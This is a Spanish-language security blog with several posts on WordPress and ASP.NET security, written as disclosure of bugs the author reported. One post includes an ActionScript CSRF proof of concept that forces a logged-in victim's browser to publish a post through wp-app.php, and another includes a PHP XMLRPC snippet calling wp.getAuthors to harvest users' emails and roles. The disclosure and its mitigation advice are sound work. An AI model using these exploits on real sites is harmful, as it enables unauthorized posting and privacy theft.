Categories
ASP.NET Web WordPress

ASP.NET, seguridad y algunos mitos

El cuento empieza luego de que un amigo me preguntó si sabía algo de Graffiti -- un CMS de pago desarrollado en .NET, puesto que su empresa tenía planes en adquirir unas cuantas licencias del mismo.

El hecho es que mientras charlabamos intenté convencerle para que usen WordPress en su lugar, pero las principales razones que me dió para haber descartado esa opción era que a) WordPress tenía un largo historial de problemas de seguridad en comparación al otro y b) que por el mismo hecho de estar desarrollado en .NET la aplicación era más segura.

Cuando participaba en ciertos foros de discusión relacionados a .NET, solía ser fácil encontrar ese tipo de opiniones en relación a la seguridad[1] de ASP.NET, es por este motivo que me animé a comentar esta anécdota, puesto que posiblemente sea de útil para alguien que recién comienza -- naturalmente tendría que pasar por alto mi terrible forma de redactar y ortografía. 😀

Regresando al tema lo que le dije fue que los problemas de seguridad existen, más allá de lo buenos que sean los programadores o de que los lenguajes que utilicen sean dinámicamente o estáticamente tipados y que el número de problemas reportados generalmente está en relación a la popularidad del software.

Finalmente, para reforzar lo que había dicho, daba la casualidad que hace algo menos de un año, había encontrado un problema grave de seguridad que todavía afecta a la última versión de Graffiti y que permite tomar el control del sitio en cuestión de segundos. Ahora me pregunto, ¿habré ganado algún usuario más de WordPress? 😀

1. No digo que este tipo de opiniones solamente vengan de parte de algunos desarrolladores .NET, sólo comento mi experiencia.

Categories
WordPress

Protocolos de publicación remota en WordPress

A estas alturas imagino que la mayoría ya sabe que en cada instalación nueva de WordPress 2.6, tanto la publicación por XMLRPC como APP estarán desactivados por omisión. A pesar de que algunos inicialmente pegaron un grito al cielo por este cambio, personalmente creo que es un cambio acertado, puesto que seguramente reducirá el número de vectores de ataque en aquellos blogs que no necesiten de éstos protocolos.

Sin ir muy lejos, actualmente la forma como está implementado APP en WordPress (y probablemente en otros CMSs), lo hace a este último, vulnerable a ataques CSRF usando Flash, que como se sabe, se puede usar para sobrepasar distintas restricciones de seguridad [1]. La siguiente porción de código muestra que tan sencillo es aprovechar este problema de seguridad en el protocolo mencionado:

actionscript:

// En este caso simplemente crea una nueva entrada.
function WpApp() {
        this.readQueryString();
       
        var blog:String = _params.blog;
        if ( !blog ) return;
        var r:URLRequest = new URLRequest(blog + '/wp-app.php?action=/posts');

        r.method = 'POST';
        r.data =        '<?xml version="1.0" encoding="UTF-8"?>'+
                                '<rss version="2.0"' +
                                        'xmlns:content="http://purl.org/rss/1.0/modules/content/"' +
                                        'xmlns:wfw="http://wellformedweb.org/CommentAPI/"' +
                                        'xmlns:dc="http://purl.org/dc/elements/1.1/"' +
                                        'xmlns:atom="http://www.w3.org/2005/Atom">'
                                '<channel>'+
                                        '<atom:entry>'+
                                                '<title>Boo</title>'+
                                                '<category domain="category" nicename="uncategorized" term="uncategorized"><![CDATA[Uncategorized]]></category>'+
                                                '<content><![CDATA[boo!]]></content>'+
                                        '</atom:entry>'+
                                        '</channel>'+
                                '</rss>';
        r.contentType = 'application/atom+xml';

        navigateToURL(r, '_self');
}

Lo único que el atacante necesitaría, sería identificar si la víctima inició sesión o no, y lo primero que se me viene a la mente en estos momentos es enviar un pingback y luego verificar que hizo click desde algún lado del panel de administración -- ¡a que no soy el único que mira los enlaces entrantes! 😀

Los problemas que comento han sido reportados hace mes y medio aproximadamente, pero hasta el momento sólo hicieron una corrección puntual para la prueba de concepto que envié, por lo que no sería mala idea eliminar este archivo (wp-app.php o app.php) o denegar el acceso al mismo.

[1] Por ejemplo las páginas que permiten subir archivos y que generalmente no tienen protección contra ataques CSRF. Actualmente casi todas las versiones de WordPress sufren este problema y se puede explotar usando lo descrito en Cross-site File Upload Attacks.

Categories
Web WordPress

WordPress 2.5 y el nuevo panel de admistración

Una de las razones para no actualizar este blog a la última versión de WordPress es que no me gusta nada el nuevo diseño del panel de administración, principalmente porque en las pruebas que hice tengo que usar mucho "scroll" para escribir entradas y precisamente no me agrada perder tiempo en ese tipo de cosas. 🙂

Bueno, desde hace algunos días quería hacer cambios para volver a la misma estructura de versiones anteriores, pero debido a mis limitados conocimientos de CSS y falta de tiempo, no hice casi nada. En fin, luego de revisar la página de reporte de bugs de este proyecto, encontré que Judy Becker se tomó el trabajo de hacer los cambios (¡gracias!) para que la estructura de "Escribir entrada" y "Escribir página" sean -- a mi modo de ver -- más usables (en realidad asemeja a la estructura que se tenía en versiones anteriores):

Diseño modificado del panel de administración de WordPress 2.5

Si quieren descargar aplicar estos cambios a su versión de wordpress, pueden aplicar el siguiente parche o sobreescribir directamente los archivos que cambian -- hasta donde he probado, estos cambios funcionan bien en Firefox (2.0.0.13) e Internet Explorer 7.

Por cierto, para los que todavía no actualizaron a WordPress 2.5 y quieren hacerlo, les sugiero que esperen un poco porque seguramente la siguiente versión corregirá algunos problemas de seguridad leves.

Categories
Web WordPress

Nueva versión de WordPress y algunas aclaraciones

A estas alturas imagino que las pocas personas que leen este blog y que usan WordPress para sus propios blogs, seguramente ya saben que salió una nueva versión de este CMS, hablamos de WordPress 2.3.2. Entre los problemas corregidos en esta versión están:

  • Mejora de rendimiento que evita que la función sanitize_post sea invocada siempre que se llame a get_post (#5325).
  • Cambios en la función is_admin() para que realmente indique si el código se ejecuta en el panel de administración (/wp-admin/). (#5487).
  • No mostrar los mensajes de error al hacer consultas SQL a menos que WP_DEBUG esté habilitado (#5473).
  • Verificar que los datos de conexión a la base de datos sean adecuadas y mostrar mensajes de error si la instalación falla debido a permisos insuficientes (#5495).
  • Soporte para páginas de error personalizadas cuando la conexión a la base de datos falla. (#5500).
  • Cambios para hacer que la generación de enlaces en los contenidos de la entrada y comentarios sea más selectiva. ([6450]).
  • Cambios en wp-mail.php para evitar posibles ataques XSS (#5484).
  • Cambios para que no se muestren las entradas recientes a usuarios que no tienen permisos (#5535).
  • Cambios para eliminar información sensitiva expuesta a través del método XMLRPC wp.getAuthors (#5534).
  • Verificación de permisos en varios métodos XMLRPC ([6504]).
  • Verificación de permisos en varios métodos del protocolo de publicación Atom ([6508]).
  • Cambios en la función validate_file() para evitar problemas de inclusión local de ficheros en windows ([6521]).

Fuente

Aclaración

Erróneamente se me atribuye el descubrimiento de un bug relacionado a la función is_admin que permitía ver los borradores y entradas privadas. Mi participación en esta última versión tiene que ver más que todo con problemas relacionados a XMLRPC, wp-mail.php y otros que por el momento no puedo comentar, puesto que no tienen que ver mucho con la versión clásica de WordPress y además las correcciones a estos problemas probablemente recién se incluyan en la nueva versión. Aquí un extracto, ligeramente modificado para no dar ningún detalle, del intercambio de correos que tuve con uno de los desarrolladores:

By the way, we added some measures to address the problem you found. It's on wordpress.com right now. It's a fairly big change, and since its mainly an MU problem, we won't address it in WP until either 2.3.3 or 2.4.
Sound good?

Finalmente, es posible que esta sea la última entrada que escriba este año antes de viajar a mi pueblo natal, pero no quiero irme sin antes agradecer a todos y cada uno de ustedes por cada visita, enlace o comentario que hayan hecho.

Les deseo un feliz y próspero 2008.

Categories
Seguridad Web WordPress

WordPress: sitios que permiten la suscripción de usuarios y el “robo” de emails

Muchas veces he querido habilitar la suscripción de usuarios en este blog por diferentes motivos: problemas con el spam, evitar que se muestre publicidad a lectores habituales, etc; pero todas esas veces tuve que desistir porque de un modo u otro he ido descubriendo que esta opción puede "costarme caro" si es que algún usuario malintencionado tiene algo en contra mía. 😀

Entre los problemas que recuerdo haber reportado y que requerían del registro de usuarios activado tenemos los siguientes:

Volviendo al tema central, este problema de seguridad del que había comentado meses atrás en el blog de David, permite que un usuario registrado obtenga la lista completa de usuarios, roles y correos electrónicos del blog o sitio afectado. El proceso para recuperar esta lista es bastante sencilla y sólo basta invocar al método wp.getAuthors a través de la interface XMLRPC:

php:

<?php
include './class-IXR.php';

$client = new IXR_Client('http://dominio.com/xmlrpc.php');
$client->query('wp.getAuthors', 1, 'alex', '1234');

$response = $client->getResponse();

print_r($response);
?>

Luego de reportar este problema leve en wordpress.com (y por consiguiente cualquier otro sitio basado en WordPress MU), ya existe un ticket con parche incluido que pone fin a esta situación y es recomendable que actualicen aquellos sitios que tengan la suscripción de usuarios habilitada.